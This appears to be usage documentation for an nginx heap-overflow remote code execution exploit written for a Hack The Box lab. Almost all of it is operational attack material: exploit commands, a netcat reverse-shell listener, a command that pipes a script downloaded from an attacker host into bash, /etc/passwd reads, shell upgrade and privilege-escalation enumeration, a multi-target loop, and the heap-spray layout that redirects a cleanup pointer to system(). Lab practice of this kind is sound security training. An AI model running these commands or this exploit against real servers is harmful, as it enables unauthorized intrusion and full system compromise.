# Python 3.6+
sudo apt update
sudo apt install python3 netcat-openbsd

# No additional Python packages needed - uses only stdlib!

python3 nginx_rift_htb.py --target 10.10.11.x --check-only

python3 nginx_rift_helper.py --target 10.10.11.x --all

python3 nginx_rift_htb.py --target 10.10.11.x --port 80 --cmd "id"

# Start listener first (in another terminal)
nc -lvnp 4444

# Run exploit
python3 nginx_rift_htb.py --target 10.10.11.x --shell --lhost 10.10.14.5 --lport 4444

# Execute 'id' command
python3 nginx_rift_htb.py --target 10.10.11.23 --cmd "id"

# Execute 'whoami'
python3 nginx_rift_htb.py --target 10.10.11.23 --cmd "whoami"

# Read /etc/passwd
python3 nginx_rift_htb.py --target 10.10.11.23 --cmd "cat /etc/passwd"

# Terminal 1: Start listener
nc -lvnp 4444

# Terminal 2: Run exploit
python3 nginx_rift_htb.py \
    --target 10.10.11.23 \
    --shell \
    --lhost 10.10.14.5 \
    --lport 4444 \
    --verbose

python3 nginx_rift_htb.py \
    --target 10.10.11.23 \
    --cmd "id" \
    --heap-base 0x555555659000 \
    --libc-base 0x7ffff77ba000

python3 nginx_rift_htb.py \
    --target 10.10.11.23 \
    --port 8080 \
    --cmd "curl http://10.10.14.5/shell.sh | bash" \
    --tries 20 \
    --verbose

location ~ ^/api/(.*)$ {
    rewrite ^/api/(.*)$ /internal?migrated=true;
    set $original_endpoint $1;
}

python3 nginx_rift_htb.py --target 10.10.11.23 --cmd "id" --verbose

# Find your tun0 IP
ip addr show tun0 | grep inet

# Use this IP for --lhost
python3 nginx_rift_htb.py --target TARGET --shell --lhost YOUR_TUN0_IP --lport 4444

# Upgrade to TTY
python3 -c 'import pty; pty.spawn("/bin/bash")'

# Background and set terminal
Ctrl+Z
stty raw -echo; fg
export TERM=xterm

# Check current user
id
whoami

# Check for flags
find / -name "user.txt" 2>/dev/null
find / -name "root.txt" 2>/dev/null

# Check sudo permissions
sudo -l

# Check SUID binaries
find / -perm -4000 2>/dev/null

# Edit the make_body() function in nginx_rift_htb.py
# Adjust BODY_LEN for different configurations
# Modify the overflow string (349 'A' + 969 '+')

# Create a target list
cat targets.txt
10.10.11.23
10.10.11.24
10.10.11.25

# Test each one
while read target; do
    echo "Testing $target"
    python3 nginx_rift_htb.py --target $target --check-only
done < targets.txt

#!/bin/bash
TARGET=$1
LHOST=$2

echo "[*] Starting listener..."
nc -lvnp 4444 &
LISTENER_PID=$!

sleep 2

echo "[*] Running exploit..."
python3 nginx_rift_htb.py \
    --target $TARGET \
    --shell \
    --lhost $LHOST \
    --lport 4444 \
    --verbose

wait $LISTENER_PID

location ~ ^/api/(.*)$ {
    rewrite ^/api/(.*)$ /internal?migrated=true;  # Sets is_args=1
    set $original_endpoint $1;                     # Allocates based on is_args=0
}

1. Spray POST → Fill heap with fake cleanup structures
2. GET /api/AAAA...++++...X → Trigger overflow
3. Overflow corrupts adjacent pool cleanup pointer
4. Pool destroyed → Calls system(cmd)

[Heap Spray Body - 4000 bytes]
+0:  system_addr (8 bytes)
+8:  data_addr (8 bytes) 
+16: next (8 bytes, NULL)
+24: command_string (variable)
+remaining: padding 'A'